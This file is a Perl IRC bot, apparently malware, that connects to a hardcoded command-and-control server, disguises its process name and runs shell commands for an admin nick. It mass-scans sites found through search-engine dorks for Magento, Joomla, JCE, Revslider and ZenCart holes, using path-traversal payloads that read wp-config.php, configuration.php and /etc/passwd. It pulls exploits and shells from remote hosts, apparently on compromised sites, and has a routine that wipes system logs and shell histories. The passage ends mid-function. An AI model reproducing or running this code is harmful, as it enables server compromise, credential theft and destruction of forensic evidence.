#!/usr/bin/perl
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI::Escape;
use Digest::MD5 qw(md5_hex);
use DBI;
#use DBD::mysql;
my $datetime = localtime;
my $number = int(rand(100));
my $fakeproc = "/usr/sbin/fakeproc";
my $ircserver = "scan.69.mu";
my $ircport = "7000";
my $nickname = "magents";
my $ident = "mg";
my $channel = "#meRANTAU";
my $chanxxx = "#pHp";
my $admin = "sEm";
my $fullname = "-";
my $rawmsg = $ARGV[4];
my $msgraw = $ARGV[5];
my $nob0dy = "9,1[4!9]15[SC4NN3R] By $channel ";
my $magelogo = "9,1[4!9]15Magento 4<9=4> ";
my $revlogo = "9,1[4!9]15Revsliders 4<9=4> ";
my $jcelogo = "9,1[4!9]15JcE 4<9=4> ";
my $zenlogo = "9,1[4!9]15ZenCart 4<9=4> ";
my $joomlalogo = "9,1[4!9]15Joomla 4<9=4> ";
my $oscologo = "9,1[4!9]15OSCO 4<9=4> ";
my $loglogo = "9,1[4!9]15LogScan 4<9=4> ";
my $carilogo = "9,1[4!9]15Find 4<9=4> ";
my $shopliftcmd = "!mag";
my $magadmincmd = "!admin";
my $magsqlcmd = "!magsql";
my $maglficmd = "!maglfi";
my $mageuplcmd = "!magmi";
my $jcecmd = "!jce";
my $revcmd = "!rev";
my $zencmd = "!zen";
my $joomlacmd = "!joomla";
my $ftpcmd = "!ftp";
my $botsaver = "http://imamblack.altervista.org/irc/index.php";
my $hostxpl = "http://www.hallobattery.com/js/lib/";
my $shopliftxpl = "".$hostxpl."shoplift.php";
my $ftpxpl = "".$hostxpl."ftp.php";
my $revxpl = "".$hostxpl."rev.php";
my $lfishell = "http://sarkemc0der.altervista.org/evil/lfishell.txt";
my $mag_shell = "rss.zip";
my $timot = 10;
my $silentmode = 1;
my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
my $jpath = "http://onebuy.in/var/tmp/search.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jackae = "http://www.allhair-wigs.co.uk/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.character.com/shell/pass/search.php
my $jackar = "http://www.software-smart-solutions.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://catalangourmet.com/tmp/pass/search.php
my $jackat = "http://www.esteticaaquarelle.es/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://gappimp.at/wp-content/uploads/2011/05/script-loader.php
my $jackau = "http://www.xstitchdesign.co.nz/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://cascelloid.com/var/tmp/search.php
my $jackbr = "http://www.maxidetall.com/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.tiendatropicalia.com/shell/pass/search.php
my $jackca = "http://www.hardwaredepot.nl/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.freedomhealthcare.co.uk/var/pass/search.php
my $jackcl = "http://www.carnivalbkk.com/var/cache/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://urahresources.com/tmp/pass/search.php
my $jackcn = "http://w3.bikehome.com.tw/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jackcom = "http://www.desertpublications.net/var/pass/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jackcz = "http://www.lcherrup.dk/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.freytagberndt.cz/media/pass/script-loader.php
my $jackde = "http://www.mrfloorball.de/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.perfumemania.es/shell/pass/search.php
my $jackdk = "http://rhodo-roskilde.dk/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://djohansenhusdyrutstyr.no/shell/pass/search.php
my $jackes = "http://shop.ourtree.es/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.mdsbooks.co.uk/shell/pass/search.php
my $jackeu = "http://www.boston-medical-supply.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.shatleyfarms.com/shell/pass/search.php
my $jackfr = "http://www.socadis-cadeaux.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://shop.alpine-peters.de//var/pass/script-loader.php
my $jackhu = "http://www.logitechshop.com.au/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#ttp://www.eyeforce.com.tr/var/pass/search.php
my $jackid = "http://wish-fashion.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.voga.com/var/pass/search.php
my $jackil = "http://www.kawaiishop.fr/var/pass/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.ahsapoyuncak.web.tr/shell/pass/search.php
my $jackin = "http://faydadeals.com/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://safetysupplycity.com/shell/pass/script-loader.php
my $jackinfo = "http://www.josemegre.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.kronosav.com/var/pass/search.php
my $jackir = "http://selestastore.com/var/cache/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://store.british-bodybuilding.co.uk/var/pass/script-loader.php
my $jackit = "http://rhodo-roskilde.dk/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.eyaas.com/var/pass/search.php
my $jackjp = "http://tranqueron.com.ar/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.phatgrrl.com/var/pass/search.php
my $jackkr = "http://micco.com.co/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.vintagexl.com/media/pass/search.php
my $jackmx = "http://www.cantabilshop.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://hierba.es/var/pass/search.php
my $jackmy = "http://www.pabucino.com/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.thrift-king.com/var/pass/search.php
my $jacknet = "http://daab-shop.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.gutenparts.com/var/pass/search.php
my $jacknl = "http://eliram.co.il/js/3v1L/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jackorg = "http://spa-experts.ie/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://leatheronedirect.com/sitemap/pass/script-loader.php
my $jackph = "http://www.justfashion.fr/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.mintenglobalsecurity.com/shell/pass/search.php
my $jackpl = "http://thememstore.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.move-lift-n-store.com.au/var/pass/search.php
my $jackro = "http://www.magtel.ro/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jackru = "http://shop.praesenta.de/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://rosen-union.de/var/pass/script-loader.php
my $jackth = "http://www.itsolution.co.th/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.e2.jo/var/pass/script-loader.php
my $jackua = "http://www.enchantingminis.com.au/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://e-cigarette.eu/var/pass/script-loader.php
my $jackuk = "http://www.turtonwines.co.uk/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://savvyschools.ie/wp-includes/images/pass/script-loader.php
my $jackus = "http://www.cheapcarbonbike.com/var/tmp/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://mkii.ru/var/pass/script-loader.php
my $jacksi = "http://onebuy.in/var/tmp/search.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.nordicgastro.se/var/05/search.php
my $jackbe = "http://www.arundos.info/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.kawaiishop.fr/var/pass/search.php
my $jackbiz = "http://shop.vth.de/js/lib/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";#http://www.file-extensions.info/pass/script-loader.php
my $jack1 = "http://www.kitakarita.hu/wp-admin/user/4nt-crew1.php?q="; #"http://vtv9.com.vn/wp-includes/SimplePie/bypass302.php?q=";
my $jack2 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://www.ares-asesores.com/wp-includes/bypass302.php?q=";
my $jack3 = "http://www.op63.ru/media/backup.php?q="; #"http://linkeddoc.web1019.kinghost.net/wp-includes/SimplePie/bypass302.php?q=";
my $jack4 = "http://www.op63.ru/media/backup.php?q="; #"http://jhealthy.com/wp-includes/bypass302.php?q=";
my $jack5 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://furrers.dk/wp-includes/SimplePie/Decode/bypass302.php?q=";
my $jack6 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://boyut-yapi.com/wp-includes/bypass302.php?q=";
my $jack7 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://renaissance.net.ua/wp-includes/bypass302.php?q=";
my $jack8 = "http://www.netsteady.com/vseeapi/backup.php?q="; #"http://niqlas.se/playground/wp-includes/pomo/bypass302.php?q=";
my $jack9 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://new.intermediaib.it/wp-includes/SimplePie/Net/bypass302.php?q=";
my $jack10 = "http://www.yenigunmedya.com/wp-admin/user/4nt-crew10.php?q="; #"http://www.cervezaraguaney.com.ve/wp-admin/network/bypass302.php?q=";
my $jack11 = "http://www.netsteady.com/vseeapi/backup.php?q="; #"http://www.gtctrust.com/wp-includes/SimplePie/Decode/bypass302.php?q="
my $jack12 = "http://www.fnsmr.org/xmlrpc/cache/backup.php?q="; #"http://limusinasmallorca.es/wp-includes/SimplePie/bypass302.php?q=";
my $jack13 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log5.php?q="; #"http://pcgo.us/wp-includes/bypass302.php?q=";
my $jack14 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log6.php?q="; #"http://www.tarad.in.th/plugins/editors/errors.php";
my $jack15 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log7.php?q="; #"http://www.tarad.in.th/plugins/editors/errors.php";
my $jack16 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log8.php?q="; #"http://thpt-phanngoctong-bentre.edu.vn/plugins/editors/errors.php";
my $jack17 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log9.php?q="; #"http://www.nmsvn.com.vn/plugins/editors/errors.php";
my $jack18 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log1.php?q="; #"http://sevotest.latestdot.eu/plugins/editors/errors.php";
my $jack19 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log2.php?q="; #"http://www.ultimartinsurance.co.uk/plugins/editors/errors.php";
my $jack20 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log3.php?q="; #"http://www.ultimartinsurance.co.uk/plugins/editors/errors.php";
my $jack21 = "http://www.steinsdalenbedehus.no/components/com_spupgrade/log4.php?q="; #"http://www.gruetzi.es/plugins/editors/errors.php";
my $jack22 = "http://la-ram.rs/opencart/admin/controller/error/backup.php?q="; #"http://aretusasport.altervista.org/plugins/editors/errors.php";
my $jack23 = "http://ruizsanchez.com.mx/wp-includes/SimplePie/bypass302.php?q="; #"http://www.chemaweyaat.com/plugins/editors/errors.php";
my $engine = "JacKAE,JacKAR,JacKAT,JacKAU,JacKBR,JacKCA,JacKCL,JacKCN,JacKCoM,JacKCZ,JacKDE,JacKDK,JacKES,JacKEU,JacKFR,JacKHU,JacKID,JacKIL,JacKIN,JacKInfO,JacKIR,JacKIT,JacKJP,JacKKR,JacKMX,JacKMY,JacKNeT,JacKNL,JacKOrG,JacKPH,JacKPL,JacKRO,JacKRU,JacKTH,JacKUA,JacKUK,JacKUS,JacKSI,JacKBE,JacKBIZ,GooGLe,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,WaLLa,YaHoo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,AsK,AsKCA,AsKDE,AsKIT,AsKUK,AsKFR,AsKES,AsKRU,AsKNL,AsKEU,AsKPL,AsKAT,AsKSE,AsKDK,AsKNO,AsKAU,AsKBR,AsKMX,AsKJP,Bing,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,UoL,OnEt,CLusTy,SaPo,AoL,LyCos,HotBot,SeZNam,BigLobe";
my @jpaths = ('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart',
'/administrator/components/com_acymailing/inc/openflash',
'/administrator/components/com_jnewsletter/includes/openflashchart',
'/administrator/components/com_jinc/classes/graphics',
'/administrator/components/com_maianmedia/utilities/charts',
'/administrator/components/com_jnews/includes/openflashchart');
my $jvuln = "/php-ofc-library/ofc_upload_image.php";
my $jshell = "/tmp-upload-images/lobex21.php";
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
#chdir("/");
$ircserver = "$ARGV[0]" if $ARGV[0];
$ircport = "$ARGV[1]" if $ARGV[1];
$nickname = "$ARGV[2]" if $ARGV[2];
$channel = '#'."$ARGV[3]" if $ARGV[3];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep(1);}}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick($mynick.int(rand(5)));
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $mynick +ix");
sendraw("NS id poi987");
sleep(3);
sendraw("JOIN $channel 0day");
sendraw("JOIN $chanxxx 0day");
sleep(1);
sendraw("PRIVMSG $admin :Hi $admin im here !!!");
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
select(undef, undef, undef, 0.01);
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $ircmsg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $ircmsg);
$ircmsg =~ s/\r\n$//;
if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
if ($path eq $mynick) {
if ($msg =~ /^PING (.*)/) {
sendraw("NOTICE $nick :PING $1");
}
if ($msg =~ /^VERSION/) {
sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
}
if ($msg =~ /^TIME/) {
sendraw("NOTICE $nick :TIME ".$datetime."");
}
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!cox") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
sendraw("NICK ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg !~ /^!/) {
&shell("$nick","$msg");
}
if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
sendraw("$rawmsg $msgraw ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
sendraw("PRIVMSG $rawmsg ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
}
if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
$newtimot = $1;
$timot = $newtimot;
&msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
}
if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$newchan = $1;
$chanxxx = $newchan;
&msg("$admin","9,1 xChan change to4 $chanxxx ");
}}}
}
else {
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!cox") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg eq "!part") {
sendraw("PART $path");
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$smod = $1;
if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
&msg("$path","9,1[0!9]Silent Mode11 $silentstat !!!!");
}}}
if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
my $url = $1.$lfdtest;
my $cmd = $2;
&cmdlfi($url,$cmd,$path);
}
if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
my $url = $1;
my $cmd = $2;
&cmdxml($url,$cmd,$path);
}
if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
my $url = $1;
my $cmd = $2;
&cmde107($url,$cmd,$path);
}
##################################################################### HELP COMMAND
if ($msg=~ /^!help/) {
&msg("$path","4$helplogo 4 -------|| Simple IRC Bot - $channel ||------- ");
my $helplogo = "9,1[4!9]15Help 4<9=4> ";
&msg("$path","$helplogo9JoomlaCE Vuln Scan:15 $jcecmd [dork] ");
&msg("$path","$helplogo9JoomlaLFD Vuln Scan:15 $joomlacmd [dork] ");
&msg("$path","$helplogo9Magento ShopLift Vuln Scan:15 $shopliftcmd [dork] ");
#&msg("$path","$helplogo9Magento ShopLift Vuln Scan 2:15 $magadmincmd [dork] ");
&msg("$path","$helplogo9Magento Magmi Vuln Scan:15 $mageuplcmd [dork] ");
&msg("$path","$helplogo9Magento LFI Vuln Scan:15 $maglficmd [dork] ");
&msg("$path","$helplogo9Magento SQL Vuln Scan:15 $magsqlcmd [dork] ");
&msg("$path","$helplogo9OsCommerce Vuln Scan:15 $oscocmd [dork] ");
&msg("$path","$helplogo9Revslider Vuln Scan:15 $revcmd [dork] ");
&msg("$path","$helplogo9ZenCart Vuln Scan:15 $zencmd [dork] ");
&msg("$path","$helplogo9Tools:15 !ip [ip] | !port [ip] [port] | !dns [hostname] | !ftp [host] [user] [pass] ");
&msg("$path","4$helplogo4Exploiting Our World With Our Evil Code!");
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
&msg("$nick","6Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg =~ /^!op/) {
sendraw("MODE ".$channel." +op ".$admin."");
}
##################################################################### DELETE LOG
if (&isAdmin($nick) && $msg =~ /^!eraselog/) {
&msg("$path","$loglogo9,1 Permintaan sedang di proses...");
&msg("$path","$loglogo4 Mohon di tunggu...!");
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
&msg("$path","$loglogo13 Semua 4default log13 dan berkas 4bash_history 13terhapus.");
sleep 1;
&msg("$path","$loglogo13 Sekarang sisa berkas mesin4 LOG.");
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
&msg("$path","$loglogo9,1 Selesai! Semua log dalam server sudah di hapus...!!!");
}
##################################################################### SCAN
if ($msg =~ /^$shopliftcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/customer/account/login",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento ShopLift di 4$path ");
&msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
&msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,1);
}
}
}
if (&isAdmin($nick) && $msg =~ /^$magadmincmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/customer/account/login",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento ShopLift Gate 2 di 4$path ");
&msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
&msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,2);
}
}
}
if ($msg =~ /^$magsqlcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("index.php/api/xmlrpc",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento SQL di 4$path ");
&msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
&msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,3);
}
}
}
if ($msg =~ /^$mageuplcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("magmi/web/magmi.php",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento Magmi di 4$path ");
&msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
&msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,4);
}
}
}
if ($msg =~ /^$jcecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan JoomlaCE di 4$path ");
&msg("$path","$jcelogo9Dork 4<9=4>15 $dork ");
&msg("$path","$jcelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,6);
}
}
}
if ($msg =~ /^$revcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Revslider di 4$path ");
&msg("$path","$revlogo9Dork 4<9=4>15 $dork ");
&msg("$path","$revlogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,7);
}
}
}
if ($msg =~ /^$revcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php",$1);
&se_start($path,$bug,$dork,$engine,8);
}
}
}
if ($msg =~ /^$zencmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan ZenCart di 4$path ");
&msg("$path","$zenlogo9Dork 4<9=4>15 $dork ");
&msg("$path","$zenlogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,9);
}
}
}
if ($msg =~ /^$joomlacmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/index.php?option=com_cckjseblod&task=download&file=configuration.php",$1);
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Joomla LFD di 4$path ");
&msg("$path","$joomlalogo9Dork 4<9=4>15 $dork ");
&msg("$path","$joomlalogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$dork,$engine,10);
}
}
}
if ($msg =~ /^$maglficmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility",$1);
my $simpan = $nick;
&msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento LFI di 4$path ");
&msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
&msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
&se_start($path,$bug,$simpan,$dork,$engine,11);
}
}
}
if ($msg=~ /^!ip\s+(.*)/ ) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $ip = $1;
&msg("$path","9,1[4!9]15IP 4<9=4>15Searching ".$ip." 4Location ...");
